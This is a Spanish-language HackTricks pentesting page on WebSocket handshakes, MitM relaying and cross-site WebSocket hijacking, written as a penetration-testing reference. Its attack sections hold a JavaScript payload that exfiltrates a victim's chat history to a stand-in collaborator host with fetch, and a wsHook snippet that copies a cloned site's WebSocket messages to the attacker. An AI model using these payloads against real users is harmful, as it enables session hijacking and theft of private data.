hacktricks/pentesting-web/cross-site-websocket-hijacking-cswsh.md

176 lines
13 KiB
Markdown

# Secuestro de WebSocket entre sitios (CSWSH)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## ¿Qué son los WebSockets?
Las conexiones WebSocket se inician a través de **HTTP** y suelen ser de **larga duración**. Los mensajes se pueden enviar en **ambas direcciones en cualquier momento** y no tienen una naturaleza transaccional. La conexión normalmente permanecerá abierta e inactiva hasta que el cliente o el servidor estén listos para enviar un mensaje.\
Los WebSockets son particularmente útiles en situaciones donde se requieren mensajes de **baja latencia o iniciados por el servidor**, como feeds en tiempo real de datos financieros.
## ¿Cómo se establecen las conexiones WebSocket?
(Aquí encontrarás un resumen, pero una **guía más detallada sobre cómo se crea una conexión de WebSocket** se puede encontrar [**aquí**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)).\
Las conexiones WebSocket se crean normalmente utilizando JavaScript en el lado del cliente, como se muestra a continuación:
```javascript
var ws = new WebSocket("wss://normal-website.com/chat");
```
El protocolo **`wss`** establece una conexión WebSocket sobre una conexión **TLS** encriptada, mientras que el protocolo **`ws`** utiliza una conexión **no encriptada**.
Para establecer la conexión, el navegador y el servidor realizan un handshake WebSocket a través de HTTP. El navegador emite una solicitud de handshake WebSocket como la siguiente:
```javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
Si el servidor acepta la conexión, devuelve una respuesta de saludo de WebSocket como la siguiente:
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
En este punto, la conexión de red permanece abierta y se puede utilizar para enviar mensajes de WebSocket en ambas direcciones.
**Nota**
Varios **aspectos** de los mensajes de **apretón de manos** de WebSocket son dignos de mención:
* Los encabezados **`Connection`** y **`Upgrade`** en la solicitud y respuesta **indican** que se trata de un **apretón de manos de WebSocket**.
* El encabezado de solicitud **`Sec-WebSocket-Version`** especifica la **versión del protocolo WebSocket** que el cliente desea utilizar. Esto suele ser `13`.
* El encabezado de solicitud **`Sec-WebSocket-Key`** contiene un **valor aleatorio** codificado en Base64, que debe generarse aleatoriamente en cada solicitud de apretón de manos.
* El encabezado de respuesta **`Sec-WebSocket-Accept`** contiene un hash del valor enviado en el encabezado de solicitud `Sec-WebSocket-Key`, concatenado con una cadena específica definida en la especificación del protocolo. Esto se hace para evitar respuestas engañosas resultantes de servidores mal configurados o proxies de caché.
El encabezado **`Sec-WebSocket-Key`** contiene un **valor aleatorio** para evitar errores de proxies de caché y **no se utiliza para fines de autenticación o manejo de sesiones** (_No es un token CSRF_).
### Consola de Linux
Puede utilizar `websocat` para establecer una conexión en bruto con un websocket.
```bash
websocat --insecure wss://10.10.10.10:8000 -v
```
O para crear un servidor websocat:
```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```
## Conexiones websocket MitM
Si descubres que los clientes están conectados a un **websocket HTTP** desde tu red local actual, puedes intentar un [Ataque de ARP Spoofing](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) para realizar un ataque MitM entre el cliente y el servidor.\
Una vez que el cliente esté intentando conectarse, puedes utilizar:
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
## Enumeración de Websockets
Puedes utilizar la **herramienta** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **para descubrir, identificar y buscar** **vulnerabilidades** conocidas en websockets de forma automática.
## Herramientas de depuración de Websockets
* **Burp Suite** admite la comunicación de websockets en modo MitM de manera muy similar a como lo hace con la comunicación HTTP regular.
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abreviatura de "**WebSocket/Socket.io Proxy**", esta herramienta, escrita en Node.js, proporciona una interfaz de usuario para **capturar, interceptar, enviar mensajes personalizados** y ver todas las comunicaciones de WebSocket y Socket.IO entre el cliente y el servidor.
* [**wsrepl**](https://github.com/doyensec/wsrepl) es un **REPL interactivo de websockets** diseñado específicamente para pruebas de penetración. Proporciona una interfaz para observar **mensajes entrantes de websockets y enviar nuevos**, con un marco fácil de usar para **automatizar** esta comunicación.&#x20;
* [**https://websocketking.com/**](https://websocketking.com/) es una **web para comunicarse** con otras webs utilizando **websockets**.
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) entre otros tipos de comunicaciones/protocolos, proporciona una **web para comunicarse** con otras webs utilizando **websockets**.
## Laboratorio de Websockets
En [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) tienes un código para lanzar una web utilizando websockets y en [**este post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) puedes encontrar una explicación.
## Secuestro de WebSocket entre sitios (CSWSH)
También conocido como _secuestro de WebSocket entre orígenes_.\
**Es un** [**Cross-Site Request Forgery (CSRF)**](csrf-cross-site-request-forgery.md) **en un handshake de WebSocket**.
Surge cuando la solicitud de **handshake de WebSocket** se basa únicamente en **cookies HTTP** para el manejo de sesiones y no contiene ningún token CSRF u otros valores impredecibles.\
Un atacante puede crear una **página web maliciosa** en su propio dominio que **establece una conexión de WebSocket entre sitios** con la aplicación vulnerable. La aplicación manejará la conexión en el **contexto de la sesión del usuario víctima** con la aplicación.
### Ataque simple
Ten en cuenta que al **establecer** una conexión de **websocket**, la **cookie** se **envía** al servidor. El **servidor** puede estar utilizándola para **relacionar** a cada **usuario específico** con su **sesión de websocket basada en la cookie enviada**.
Entonces, si por **ejemplo** el **servidor de websocket** **envía de vuelta el historial de la conversación** de un usuario si se envía un mensaje con "**READY"**, entonces un **simple XSS** al establecer la conexión (la **cookie** se enviará **automáticamente** para autorizar al usuario víctima) **enviando** "**READY**" será capaz de **recuperar** el historial de la **conversación**.
```markup
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```
### Cross Origin + Cookie con un subdominio diferente
En esta publicación de blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/), el atacante logró **ejecutar código Javascript arbitrario en un subdominio** del dominio donde se estaba produciendo la comunicación del websocket. Debido a que era un **subdominio**, la **cookie** se estaba **enviando**, y debido a que el **Websocket no verificaba correctamente el origen**, era posible comunicarse con él y **robar tokens de él**.
### Robando datos del usuario
Copia la aplicación web que deseas suplantar (los archivos .html, por ejemplo) y dentro del script donde se produce la comunicación del websocket, agrega este código:
```javascript
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}
```
Ahora descarga el archivo `wsHook.js` desde [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) y **guárdalo dentro de la carpeta con los archivos web**.\
Exponiendo la aplicación web y haciendo que un usuario se conecte a ella, podrás robar los mensajes enviados y recibidos a través del websocket:
```javascript
sudo python3 -m http.server 80
```
## Otras vulnerabilidades
Como los Web Sockets son un mecanismo para enviar datos al lado del servidor y al lado del cliente, dependiendo de cómo el servidor y el cliente manejen la información, los Web Sockets pueden ser utilizados para explotar varias otras vulnerabilidades como XSS, SQLi o cualquier otra vulnerabilidad web común utilizando la entrada de un usuario desde un websocket.
## **WebSocket Smuggling**
Esta vulnerabilidad podría permitirte evadir las restricciones de los proxies inversos haciendo que crean que se estableció una comunicación websocket (aunque no sea cierto). Esto podría permitir a un atacante acceder a puntos finales ocultos. Para obtener más información, consulta la siguiente página:
{% content-ref url="h2c-smuggling.md" %}
[h2c-smuggling.md](h2c-smuggling.md)
{% endcontent-ref %}
## Referencias
{% embed url="https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>